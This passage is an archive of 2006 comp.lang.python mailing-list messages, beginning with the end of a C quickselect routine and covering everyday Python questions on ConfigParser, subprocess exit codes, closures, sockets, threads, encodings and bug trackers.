array is completely */ /* or partially sorted; it is at most 25%. */ /* NTH will be nthi, nths, etc., depending on DATATYPE */ NTH( data, numdata, n ) DATATYPE data[]; /* Data array (will be scrambled on return) */ int numdata; /* lemgth of data array */ int n; /* index if item to find: 1 <= n <= numdata */ { register DATATYPE boundary, thisdata; register DATATYPE *lowp, *highp; DATATYPE v1, v2; int nlowbin; lowp = data; /* Init data pointer */ v1 = data[ ixrand( numdata )]; { register DATATYPE v1r = v1; int nc = 1 + numdata - n; /* "Complement" of n */ if( nc > n ) highp = lowp + nc; else highp = lowp + n; /* Limit to test for done */ /* Scan for the first point which doesn't match the boundary point. If we encounter enough matching points, the boundary is the answer */ while( *lowp++ == v1r ) { if( lowp >= highp ) return( v1r ); } v2 = *--lowp; /* Back up to get point */ } boundary = ( v1 >> 1 ) + ( v2 >> 1 ); /* Beware overflows */ highp = data + numdata; /* Now process the whole thing */ thisdata = *lowp; /* Prime the pump */ if( v2 < v1 ) { /* Bin 2 is low bin */ for( ; lowp < highp; thisdata = *lowp ) { if( thisdata <= boundary ) { /* Bin 2 */ *lowp = *--highp; /* Exchange */ *highp = thisdata; } else ++lowp; /* Data point in right place */ } nlowbin = numdata - ( lowp - data ); if( nlowbin >= n ) return( NTH( highp, nlowbin, n )); else return( NTH( data, lowp - data, n - nlowbin )); } else { /* Primary bin is low bin */ for( ; lowp < highp; thisdata = *lowp ) { if( thisdata > boundary ) { /* Bin 2 */ *lowp = *--highp; /* Exchange */ *highp = thisdata; } else ++lowp; /* Don't move point */ } nlowbin = ( lowp - data ); if( nlowbin >= n ) return( NTH( data, nlowbin, n )); else return( NTH( highp, numdata - nlowbin, n - nlowbin )); } } -- John Doty, Noqsi Aerospace, Ltd. -- Specialization is for robots. From tony.ha at philips.com Mon Oct 2 09:04:42 2006 From: tony.ha at philips.com (tony.ha at philips.com) Date: Mon, 02 Oct 2006 13:04:42 GMT Subject: Help with ConfigParser Message-ID: Hello I use ConfigParser as show below to read a config.txt file; from ConfigParser import ConfigParser config = ConfigParser() config.read('config.txt') items = config.items('FV') for item in items: module_name = item[0] print module_name The config.txt file has the following [FV] # Set the module to "1" to enable the regression test run on it, otherwise set it to "0" ip_dtlmmio0_1803: 0 ip_gpio0_4004: 0 ip_dmac0_1903: 0 ip_ptA_a_sdramc_2022: 1 ip_timer0_3012: 0 the output has been convert to lowercase, i.e ip_ptA_a_sdramc_2022 become ip_pta_a_sdramc_2022 (the captial letter 'A, become lower case 'a'). Question: How can I pervent ConfigParse to convert Upper case yo lower case??, thanks. -------------- next part -------------- An HTML attachment was scrubbed... URL: From skip at pobox.com Sat Oct 28 19:11:11 2006 From: skip at pobox.com (skip at pobox.com) Date: Sat, 28 Oct 2006 18:11:11 -0500 Subject: PROBLEM with MOD_PYTHON In-Reply-To: <1162041564.610155.278270@h48g2000cwc.googlegroups.com> References: <1162041564.610155.278270@h48g2000cwc.googlegroups.com> Message-ID: <17731.58255.487147.1439@montanaro.dyndns.org> dan> I don't understand this error , in the (Apache) errorlog I read dan> this message : dan> [Sat Oct 28 14:04:03 2006] [error] make_obcallback: could not import dan> mod_python.apache.\n dan> [Sat Oct 28 14:04:03 2006] [error] make_obcallback: Python path being dan> used "['C:\\\\Python24\\\\python24.zip', '.\\\\DLLs', '.\\\\lib', dan> '.\\\\lib\\\\plat-win', '.\\\\lib\\\\lib-tk', dan> 'C:\\\\Programmi\\\\Apache Group\\\\Apache2\\\\bin']". dan> [Sat Oct 28 14:04:03 2006] [error] python_handler: no interpreter dan> callback found. dan> [Sat Oct 28 14:04:03 2006] [error] [client 127.0.0.1] python_handler: dan> Can't get/create interpreter. Just a wild ass guess, but maybe Apache can't find the necessary python dll to load? Skip From hanumizzle at gmail.com Wed Oct 11 01:46:36 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 01:46:36 -0400 Subject: Difference between unindexable and unsubscriptable In-Reply-To: <87zmc376py.fsf@benfinney.id.au> References: <87zmc376py.fsf@benfinney.id.au> Message-ID: <463ff4860610102246l35719e13m28ec4cbed41fa149@mail.gmail.com> On 10/11/06, Ben Finney wrote: > Jackson writes: > > > I would like to test if an object can accept: obj[0] > > Then do so. Use the object in the way you want to use it, and catch > any exceptions that you want to handle. I'm trying to learn about style conventions in Python. How would use of getattr compare? -- Theerasak From jhefferon at smcvt.edu Sat Oct 28 17:06:48 2006 From: jhefferon at smcvt.edu (Jim) Date: 28 Oct 2006 14:06:48 -0700 Subject: unescape HTML entities In-Reply-To: References: Message-ID: <1162069608.505758.227960@i42g2000cwa.googlegroups.com> Rares Vernica wrote: > How can I unescape HTML entities like " "? Can I ask what you mean by "unescaping"? Do you mean converting into numeric references? Into Unicode? Jim From fredrik at pythonware.com Mon Oct 2 12:32:59 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 02 Oct 2006 18:32:59 +0200 Subject: commands.getstatusoutput result is not command line exit value!!! In-Reply-To: <45213700.5050907@googlemail.com> References: <452125F8.8070106@googlemail.com> <45213245.3000808@googlemail.com> <452133F1.5050401@holdenweb.com> <45213700.5050907@googlemail.com> Message-ID: Hari Sekhon wrote: > I'm sorry, this may seem dense to you but I have to ask. What on earth > are you talking about? > > Why is it shifted 8 bits to the left? Why is there bitshifting at all? > Why doesn't commands give the same exit value as os.system() and the > unix cli? because that's how Unix's wait() operation returns the status code (as mentioned in the "commands" section of the library reference). you can use the os.WIFEXITED(status) and os.WEXITSTATUS(code) helpers to convert between wait return codes and signal numbers/exit codes. see: http://docs.python.org/lib/os-process.html or you can forget about the obsolete "commands" module, and use the new subprocess module instead; e.g. def getstatusoutput(command): from subprocess import Popen, PIPE, STDOUT p = Popen(command, stdout=PIPE, stderr=STDOUT, shell=True) s = p.stdout.read() return p.wait(), s print getstatusoutput("ls -l /bin/ls") (0, '-rwxr-xr-x 1 root root 68660 Aug 12 2003 /bin/ls\n') the subprocess module is highly flexible; see the library reference for details. From mail at microcorp.co.za Sat Oct 14 01:08:40 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Sat, 14 Oct 2006 07:08:40 +0200 Subject: Thread termination References: <1160732308.053202.225450@b28g2000cwb.googlegroups.com> Message-ID: <000d01c6ef55$3e6fa2c0$03000080@hendrik> "Teja" wrote: > Hi all, > > Does any one know how to terminate or kill a thread that is started > with "start_new_thread()" in the middle of its execution? > > Any pointers? > > Thanks in advance > > Teja. can't be done from outside without co operation of thread in question. google this newsgroup - Hendrik From onurb at xiludom.gro Mon Oct 2 05:30:38 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 02 Oct 2006 11:30:38 +0200 Subject: "Wiki in 10 minutes" In-Reply-To: References: Message-ID: <4520dc40$0$15868$636a55ce@news.free.fr> Michiel Sikma wrote: > Hello everybody. > > I recently had a bit of data loss and, among some other minor things, > lost my bookmarks. (snip) > > Any other links pertaining to the creation of web applications with > Python, which I'm only just getting into, would also be appreciated. Could it be that one ? http://adminspotting.net/building-web-pages-with-python/ -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From mxywp at 126.com Sun Oct 22 02:06:06 2006 From: mxywp at 126.com (mxywp) Date: Sat, 21 Oct 2006 23:06:06 -0700 Subject: question: script to input data into a webpage and then retrieve the result? Message-ID: <002401c6f5a0$2b5aeef0$0302a8c0@MENG> Could someone help me with this or share an example script with me? Here is what I want to accomplish: (1) input 3 values into 3 boxes on a web page (2) there is an authentication code each time you access this page and I have to write this code into the fourth box on the same page (3) click "submit" button (4) this web page will turn into a page with a table having a value calculated from my inputs (5) extract this value into a local file (6) repeat the above for 12000 times. I would really appreciate it if someone can tell me how to do it using python script. I am new to python web programming. Thanks, mxywp -------------- next part -------------- An HTML attachment was scrubbed... URL: From ajones1 at gmail.com Wed Oct 18 16:41:42 2006 From: ajones1 at gmail.com (Adam Jones) Date: 18 Oct 2006 13:41:42 -0700 Subject: What happened to RuleDispatch In-Reply-To: <1161154025.466013.102780@e3g2000cwe.googlegroups.com> References: <1161154025.466013.102780@e3g2000cwe.googlegroups.com> Message-ID: <1161204102.346021.154750@f16g2000cwb.googlegroups.com> exhuma.twn wrote: > Hi all, > > yesterday I wanted to install TurboGears, which depends on > RuleDispatch. However, I failed to download it. First I got the error > "Bad Gateway" from the server, today it's simply a "Not Found" error. > So what happened to it? Does somebody know? > > I would really need to install TurboGears in the next couple of days. > So if someone knows where I can find a mirror of RuleDispatch I would > be very grateful. The required files for TG are mirrored on the turbogears.org download page. You should be able to get an installation by looking up the files there. Try this command: easy_install -f http://www.turbogears.org/download/index.html TurboGears That is actually the recommended way to install TurboGears, as it is not always compatible with the latest version of the components. -Adam From fredrik at pythonware.com Tue Oct 3 08:24:25 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 3 Oct 2006 14:24:25 +0200 Subject: was python implemented as a object oriented langage at the beginning ? References: Message-ID: Bertrand Ballis wrote: > I heard a lot of people from the Ruby community claiming that Python, like > Perl, was a scripting langage that was changed aftewards to be object > compatible, and that was making it not as good as Ruby, object-oriented > from the begenning. > > Is that true ? nope. From skip at pobox.com Mon Oct 9 08:59:54 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 9 Oct 2006 07:59:54 -0500 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1160172267.566568.79030@m7g2000cwm.googlegroups.com> <452966A2.1090107@v.loewis.de> <7x64eu4h3a.fsf@ruckus.brouhaha.com> Message-ID: <17706.18378.540464.252184@montanaro.dyndns.org> Michael> E-mail spam is an issue but the python.org infrastructure Michael> already has to do spam filtering for mailing lists. Or does it Michael> simply resend all mail? Email sent to most mailing lists hosted on mail.python.org are passed through a SpamBayes instance before being forwarded to the list's members. Skip From tim.peters at gmail.com Thu Oct 5 02:44:31 2006 From: tim.peters at gmail.com (Tim Peters) Date: Thu, 5 Oct 2006 02:44:31 -0400 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240E19.3040000@v.loewis.de> <87lknvelb3.fsf@benfinney.id.au> Message-ID: <1f7befae0610042344m512a6b59g994e06343e5b9c9c@mail.gmail.com> [Ben Finney] >> I don't see why you're being so obtuse [Terry Reedy] > I think name calling is out of line here. Name calling is always out of line on comp.lang.python. Unless it's done by Guido. Then it's OK. Anyone else, just remind them that even Hitler had better manners. That always calms things down again. loving-usenet-despite-that-it's-usenet-ly y'rs - tim From hanumizzle at gmail.com Fri Oct 6 06:12:37 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 06:12:37 -0400 Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy Singleton In-Reply-To: <4omn7jFfe26cU1@uni-berlin.de> References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> <4omn7jFfe26cU1@uni-berlin.de> Message-ID: <463ff4860610060312q6ddb41a5w1081c90150f8662@mail.gmail.com> On 10/6/06, Diez B. Roggisch wrote: > This is on the same level of interest to the communities of python, ruby > & java as the color of my socks this morning - a deep black with cute > little skulls imprinted. Where did you get these? -- Theerasak From bearophileHUGS at lycos.com Tue Oct 24 12:30:55 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 24 Oct 2006 09:30:55 -0700 Subject: Sorting by item_in_another_list In-Reply-To: References: <7.0.1.0.0.20061024123048.05772100@yahoo.com.ar> <1161704497.2516.12.camel@dot.uniqsys.com> Message-ID: <1161707455.025964.97930@k70g2000cwa.googlegroups.com> Carsten Haese: > However, it's not clear > whether this specifies language behavior that all implementations must > adhere to, or whether it simply documents an implementation detail of > CPython. I think it's CPython-specific, but maybe here people expert in Jython and IronPython can tell if their sort is stable. Bye, bearophile From http Tue Oct 24 00:14:54 2006 From: http (Paul Rubin) Date: 23 Oct 2006 21:14:54 -0700 Subject: Obtaining SSL certificate info from SSL object - BUG? References: <453D95EA.1020602@animats.com> Message-ID: <7x3b9eic3l.fsf@ruckus.brouhaha.com> John Nagle writes: > Is there a workaround for this? Without rebuilding Python > and becoming incompatible? I've parsed certs by calling openssl in a subprocess. Maybe that's not what you wanted to hear. If you're really industrious you might be able to extend the tlslite cert parsing code (written in pure Python) to get those fields out. From joncle at googlemail.com Fri Oct 20 09:14:13 2006 From: joncle at googlemail.com (Jon Clements) Date: 20 Oct 2006 06:14:13 -0700 Subject: list comprehension (searching for onliners) In-Reply-To: References: Message-ID: <1161350053.788985.242400@i3g2000cwc.googlegroups.com> Gerardo Herzig wrote: > Hi all: I have this list thing as a result of a db.query: (short version) > result = [{'service_id' : 1, 'value': 10}, > {'service_id': 2, 'value': 5}, > {'service_id': 1, 'value': 15}, > {'service_id': 2, 'value': 15}, > ] > > and so on...what i need to do is some list comprehension that returns me > something like > > result = [ > { > 'service_id' : 1, 'values': [ {'value': 10}, > {'value': 15}] > }, > { > 'service_id' : 2, 'values': [ {'value': 5}, {'value': 15}] > } > > > My problem now is i cant avoid have "repeteated" entries, lets say, in > this particular case, 2 entries for "service_id = 1", and other 2 for > "service_id =2". > Ill keeping blew off my hair and drinking more cofee while searching for > this damn onliner im looking for. If you import itertools and have your DB query return in order of service_id (or sort the list after retrieving result), then... [ [dict(service_id=key),[dict(value=n['value']) for n in value]] for key,value in itertools.groupby(result,lambda x: x['service_id']) ] ... is more or less what you want. Jon. From trevor_morgan at yahoo.com Sat Oct 28 21:41:48 2006 From: trevor_morgan at yahoo.com (trevor_morgan at yahoo.com) Date: 28 Oct 2006 18:41:48 -0700 Subject: Name bindings for inner functions. References: <1162072141.571008.296670@h48g2000cwc.googlegroups.com> <4543ddbe$0$3210$4fafbaef@reader2.news.tin.it> Message-ID: <1162086108.458335.156860@e3g2000cwe.googlegroups.com> Thanks, that's exactly what I needed. Andrea Griffini wrote: > trevor_morgan at yahoo.com wrote: > > The following code: > > > > def functions(): > > l=list() > > for i in range(5): > > def inner(): > > return i > > l.append(inner) > > return l > > > > > > print [f() for f in functions()] > > > > > > returns [4,4,4,4,4], rather than the hoped for [0,1,2,3,4]. I presume > > this is something to do with the variable i getting re-bound every time > > we go through the loop, or something, but I'm not sure how to fix this. > > The problem is that "i" inside the function is indeed > the same variable for all the functions (the one you're > using for looping). > > If you want a different variable for each function > you can use the somewhat ugly but idiomatic > > def functions(): > l=list() > for i in range(5): > def inner(i=i): > return i > l.append(inner) > return l > > this way every function will have its own "i" variable, > that is initialized with the value of the loop variable > when executing the "def" statement. > > Andrea From antroy at gmail.com Sun Oct 8 02:51:33 2006 From: antroy at gmail.com (Ant) Date: 7 Oct 2006 23:51:33 -0700 Subject: Is there an alternative to os.walk? In-Reply-To: <1160242450.515582.304510@i42g2000cwa.googlegroups.com> References: <1159983032.359224.83280@i3g2000cwc.googlegroups.com> <1159988816.166699.307450@k70g2000cwa.googlegroups.com> <1160242450.515582.304510@i42g2000cwa.googlegroups.com> Message-ID: <1160290293.507683.24300@b28g2000cwb.googlegroups.com> The idiomatic way of doing the tree traversal is: def search(a_dir): valid_dirs = [] for dirpath, dirnames, filenames in os.walk(a_dir): if dirtest(filenames): valid_dirs.append(dirpath) return valid_dirs Also since you are given a list of filenames in the directory, then why not just check the list of those files for your test files: def dirtest(filenames): testfiles = ['a','b','c'] for f in testfiles: if not f in filenames: return False return False You'd have to test this to see if it made a difference in performance, but it makes for more readable code From fredrik at pythonware.com Tue Oct 3 09:05:09 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 3 Oct 2006 15:05:09 +0200 Subject: loop beats generator expr creating large dict!? References: <20061002215040.65003374.gry@ll.mit.edu><1159866342.984495.254000@i42g2000cwa.googlegroups.com> Message-ID: David Isaac wrote: > The current situation is: use a loop because the obvious generator > approach is not efficient. "not efficient" compared to what ? From sjdevnull at yahoo.com Thu Oct 5 06:03:30 2006 From: sjdevnull at yahoo.com (sjdevnull at yahoo.com) Date: 5 Oct 2006 03:03:30 -0700 Subject: dictionary of list from a file In-Reply-To: References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com> <1159992675.176015.248850@c28g2000cwb.googlegroups.com> Message-ID: <1160042610.560396.103440@k70g2000cwa.googlegroups.com> limodou wrote: > On 4 Oct 2006 13:11:15 -0700, sjdevnull at yahoo.com wrote: > > limodou wrote: > > > here is my program > > > > > > d = {} > > > for line in file('test.txt'): > > > line = line.strip() > > > if line: > > > k, v = line.strip().split() > > > d.setdefault(k, []).append(v) > > > print d > > > > Minor nits: you call strip twice, when you don't need to. just omit > > the second call. > > Yes, I forgot that. > > > Also, I'm not sure stripping the line is the right thing per the spec; > > > > d = {} > > for line in [l[:-1] for l in file('test.txt', 'rU') if len(l)>1]: > > k,v = line.split() > > d.setdefault(k,[]).append(v) > > > [l[:-1] for l in file('test.txt', 'rU') if len(l)>1] > > this line I think will create a list, and if the file is large, it'll > consume many memory I think. > > And I think using strip is more clear than list comprehension, except > for the memory consume. Good point on memory. You can use strip in a list (or generator) comprehension just fine. For example (using a generator to avoid memory consumption): for line in (l.rstrip("\n") for l in file("test.txt", "rU") if l[0] != "\n"): k, v = line.split() d.setdefault(k, []).append(v) It's a matter of taste, but I think this isolates the bean-counting "get rid of newlines/blank lines" stuff from the real processing and makes it a bit clearer what real work you're doing with each line. From fredrik at pythonware.com Tue Oct 31 10:54:01 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 31 Oct 2006 16:54:01 +0100 Subject: PIL on Python 2.4 - ImportError: No module named _imagingft In-Reply-To: <454767E4.5070600@gmail.com> References: <454767E4.5070600@gmail.com> Message-ID: Nico Grubert wrote: > I have installed Python 2.4.3. and PIL 1.1.5. on a Suse Linux 10 64 Bit > machine. > > If I try > > >>> import _imagingft > > I get this error: > ImportError: No module named _imagingft > > Did I miss something? installed how? _imagingft is an optional component, and requires the FreeType library to work. From steve at holdenweb.com Wed Oct 11 03:38:32 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 11 Oct 2006 08:38:32 +0100 Subject: Converting MSWord Docs to PDF In-Reply-To: References: Message-ID: Andrew McLean wrote: > Steve Holden wrote: > >>If that *isn't* satisfactory then a modest investment in Adobe >>Acrobat/Distiller plus the use of Python's scripting facilities to >>direct the conversion would be preferable to spending a huge amount of >>time writing a hand-crafted solution. > > > An alternative to Adobe Distiller (part of Acrobat) is PDFCreator > > http://sourceforge.net/projects/pdfcreator/ > > which is free. This installs as a Windows printer (using GhostScript as > a backend to generate PDFs). It should be relatively straightforward to > use Python scripting to drive Word to "print" documents to the > PDFCreator pseudo-printer. Nice one, thanks for that, I'd missed it. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From mumebuhi at gmail.com Fri Oct 27 09:58:23 2006 From: mumebuhi at gmail.com (mumebuhi) Date: 27 Oct 2006 06:58:23 -0700 Subject: To Kill a Process that is Accepting Connection on Socket Message-ID: <1161957502.919693.110690@b28g2000cwb.googlegroups.com> I removed my previous post about this topic because I apparently have pasted the wrong code. Sorry for the confusion and thanks for being patient. I am having problem to kill the following script completely. The script basically does the following. The main thread creates a new thread, which does a completely useless thing, and then starts excepting for a connection via socket. # start import pickle import signal import simplejson import socket import sys import threading import time counter = 0 class WorkerThread(threading.Thread): def run(self): global counter while True: counter += 1 time.sleep(10) worker_thread = WorkerThread() worker_thread.start() server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('', 2727)) server.listen(2) def cleanup(signal, frame): print "die now" worker_thread.join(1) server.shutdown(socket.SHUT_RDWR) sys.exit(0) signal.signal(signal.SIGINT, cleanup) while True: channel, details = server.accept() stats = { 'key': "value" } s = simplejson.dumps(stats) channel.send(s) channel.close() # end The way I can think of right now is to kill the script using Ctrl+C. Hence, the signal handler in the code. However, the interpreter complains: $ python ex_server.py die now Traceback (most recent call last): File "ex_server.py", line 33, in ? channel, details = server.accept() File "/usr/lib/python2.4/socket.py", line 169, in accept sock, addr = self._sock.accept() File "ex_server.py", line 28, in cleanup server.shutdown(socket.SHUT_RDWR) File "", line 1, in shutdown socket.error: (128, 'Transport endpoint is not connected') Does anybody know a better way to do this? Thank you. Buhi From michael at stroeder.com Thu Oct 5 13:14:23 2006 From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=) Date: Thu, 05 Oct 2006 19:14:23 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <4n4Vg.135913$_J1.898276@twister2.libero.it> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de> <4n4Vg.135913$_J1.898276@twister2.libero.it> Message-ID: Giovanni Bajo wrote: > Martin, I am by no means understimating Daniel's work. I am just noting that > the spare-time work he did is, by definition, much much lower than the "6-10 > people" that the PSF infrastructure committee is calling for. I would like this > statement to be officially reduced to "2-3 people", since it is *really* not > required much more than that to setup a bug tracker installation, and no more > than 1 person to maintain it afterwards. Glancing over this thread I wonder what these people are supposed to do. Any list of requirements available? Ciao, Michael. From gagsl-py at yahoo.com.ar Thu Oct 5 14:25:47 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 05 Oct 2006 15:25:47 -0300 Subject: Asychronous execution *with* return codes? In-Reply-To: <1160051584.291073.44350@m73g2000cwd.googlegroups.com> References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com> Message-ID: <7.0.1.0.0.20061005152202.05a4b9a8@yahoo.com.ar> At Thursday 5/10/2006 09:33, utabintarbo wrote: ># gives back return code, but does not run asynchronously >retcode = subprocess.call([app, lstArgs]) >retcode = subprocess.Popen([app] + lstArgs).wait() ># runs the app async, but only returns the pid (no return code) >pid = subprocess.Popen([app] + lstArgs).pid >
> >Is there some magic elixir which will get me both? Use the async way, and then, os.waitpid() Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From fredrik at pythonware.com Wed Oct 4 16:46:46 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 04 Oct 2006 22:46:46 +0200 Subject: sax barfs on unicode filenames In-Reply-To: <45241B66.7050205@v.loewis.de> References: <4ohufoFem6rpU1@uni-berlin.de> <45241B66.7050205@v.loewis.de> Message-ID: <45241DB6.3060500@pythonware.com> Martin v. L?wis wrote: > Yes. While you can pass Unicode strings as file names to many Python > functions, you can't pass them to Expat, as Expat requires the file name > as a byte string. Hence the error. sounds like a bug in the xml.sax layer, really (ET also uses Expat, and doesn't seem to have any problems dealing with unicode filenames...) From yellowalienbaby at gmail.com Wed Oct 18 18:30:07 2006 From: yellowalienbaby at gmail.com (yellowalienbaby at gmail.com) Date: 18 Oct 2006 15:30:07 -0700 Subject: Getting method name from within the class method In-Reply-To: References: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> <20061018145926.0e8d3277@opal.pathscale.com> Message-ID: <1161210607.901928.26430@e3g2000cwe.googlegroups.com> Gabriel Genellina wrote: > At Wednesday 18/10/2006 18:59, Mitko Haralanov wrote: > > > > >>> class test(object): > > > ... def a_method(self,this,that): > > > ... print self.a_method.__name__ > > > >Doing the above will obviously work! > > > >However, I don't want to have to use the name of the function in the > >print statement (the ".a_method." part). Imagine having about 100 of > >the above print statements in the function and then you change the name > >of the function. I want all 100 of the print statements to work without > >having to change every one of them to reflect the new function name. > > Use the inspect module. > > > -- > Gabriel Genellina > Softlab SRL > > I'm sure the OP has good reasons, and I dont want to be arguing with anyone, but I am curious. If I found myself in a similar situation I wouldn't try to include code in whatever I'm writing that simply aids my writing of the code; it's irrelevant to the application and in my mind, shouldn't be there. its probably only a tiny bit of extra resource etc.. included into the app's use of resources and hence not really so important, but I would feel happier with my end code if I hadn't done such a thing. From sachinpunjabi at gmail.com Mon Oct 30 04:27:22 2006 From: sachinpunjabi at gmail.com (Sachin Punjabi) Date: 30 Oct 2006 01:27:22 -0800 Subject: Lookuperror : unknown encoding : utf-8 In-Reply-To: <1162194460.969908.154340@h48g2000cwc.googlegroups.com> References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com> <1162194460.969908.154340@h48g2000cwc.googlegroups.com> Message-ID: <1162200442.661146.26220@m7g2000cwm.googlegroups.com> On Oct 30, 12:47 pm, "thebjorn" wrote: > Sachin Punjabi wrote: > > I wanted to read a file encoded in utf-8 and and using the following > > syntax in my source which throws me an error specifying Lookuperror : > > unknown encoding : utf-8. Also I am working on Python version 2.4.1.You shouldn't have to do anything to have the utf-8 encoding available. > Check in your lib/encodings directory for a file name utf_8.py and the > code in __init__.py in the same directory should take care of the > mapping. This has been this way since at least Python 2.2 (which is the > oldest version I have on this machine). > > If that doesn't give you a clue as to what is going on in your setup, > try > > u'foo'.encode('utf-8') > > at the prompt and post the complete traceback. > > > import codecs > > fileObj = codecs.open( "data.txt", "r", "utf-8" )That should work fine, although I prefer to explicitly set the mode to > "rb" (it will be set to binary mode behind your back regardless ;-) > > hth, > -- bjorn I tried with the code you specified on the command line and it works very much fine. Python 2.4.4 (#71, Oct 18 2006, 08:34:43) [MSC v.1310 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> u'foo'.encode('utf-8') 'foo' >>> Sachin. From monuindia at gmail.com Tue Oct 10 13:59:59 2006 From: monuindia at gmail.com (Monu) Date: 10 Oct 2006 10:59:59 -0700 Subject: problem with hot shot stats Message-ID: <1160503199.286071.57800@h48g2000cwc.googlegroups.com> HI All, I am getting problem in using hotshot profiler. When I hotshot with lineevents=0, it works fine, but when I use lineevents=1, I get error in stats here is my code: import hotshot, hotshot.stats prof = hotshot.Profile("test.prof",lineevents=1) prof.start() main() prof.stop() prof.close() stats = hotshot.stats.load("test.prof") stats.strip_dirs() stats.sort_stats('time', 'calls') stats.print_stats(20) I get following error: File "test.py", line 1371, in benchmark stats = hotshot.stats.load("test.prof") File "/usr/lib64/python2.4/hotshot/stats.py", line 12, in load return StatsLoader(filename).load() File "/usr/lib64/python2.4/hotshot/stats.py", line 29, in load for event in log: File "/usr/lib64/python2.4/hotshot/log.py", line 113, in next filename, firstlineno, funcname = self._stack[-1] IndexError: list index out of range Can anybody help to figure out the problem please? From steve at holdenweb.com Tue Oct 24 19:54:26 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 25 Oct 2006 00:54:26 +0100 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <1161730515.244084.9310@m73g2000cwd.googlegroups.com> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <453D4BC4.9080100@v.loewis.de> <1161649124.962144.127140@e3g2000cwe.googlegroups.com> <453E4D95.7080204@v.loewis.de> <1161730515.244084.9310@m73g2000cwd.googlegroups.com> Message-ID: sturlamolden wrote: [...] > This was an extremely stupid question on my side. I take my hat off to anyone who's prepared to admit this. We all do it, but most of us try to ignore the fact. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From george.sakkis at gmail.com Wed Oct 25 18:28:25 2006 From: george.sakkis at gmail.com (George Sakkis) Date: 25 Oct 2006 15:28:25 -0700 Subject: question about True values References: <453FBF9C.6010002@v.loewis.de> Message-ID: <1161815305.519731.272900@b28g2000cwb.googlegroups.com> Martin v. L?wis wrote: > skip at pobox.com schrieb: > > the string class's "nil" value. Each of the builtin types has such an > > "empty" or "nil" value: > > > > string "" > > list [] > > tuple () > > dict {} > > int 0 > > float 0.0 > > complex 0j > > set set() > > > > Any other value besides the above will compare as "not false". > > This list of values that are considered false is incomplete, > though. Four obvious omissions are > > long 0L > unicode u"" > bool False > NoneType None > > Not-so-obviously, arbitrary user-defined values can also be > treated as false: If they implement __nonzero__, they are > false if False is returned from __nonzero__; otherwise, > if they implement __len__, they are false if 0 is returned > from __len__. Under these rules, array.array objects can > also be false, as can UserList and UserDict objects. A notable exception are numarray arrays (probably true for numpy too, I haven't tested it though): >>> from numarray import array >>> bool(array([1,2])) Traceback (most recent call last): File "", line 1, in ? RuntimeError: An array doesn't make sense as a truth value. Use any(a) or all(a). George From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Fri Oct 27 11:52:53 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Fri, 27 Oct 2006 17:52:53 +0200 Subject: Telnetlib to twisted References: Message-ID: <4qeoalFmlkv3U2@individual.net> Matthew Warren wrote: > Could anyone show how the above would be written using the twisted > framework? All I'm after is a more 'intelligent' interactive > telnet session (handles 'vi' etc..) rather than the full > capabilities of the twisted framework. Not done this until now, but have a look at twisted.conch.telnet. > This email is confidential and may be privileged. If you are not > the intended recipient please notify the sender immediately and > delete the email from your computer. Am I the inteded recipient? I'm not listed in the headers. Regards, Bj?rn -- BOFH excuse #439: Hot Java has gone cold From gagsl-py at yahoo.com.ar Fri Oct 27 19:43:34 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 27 Oct 2006 20:43:34 -0300 Subject: What is the cleanest way to for a module to access objects from the script that imports it? In-Reply-To: <1161989298.748298.143190@e3g2000cwe.googlegroups.com> References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com> <1161989298.748298.143190@e3g2000cwe.googlegroups.com> Message-ID: <7.0.1.0.0.20061027202632.04549e40@yahoo.com.ar> At Friday 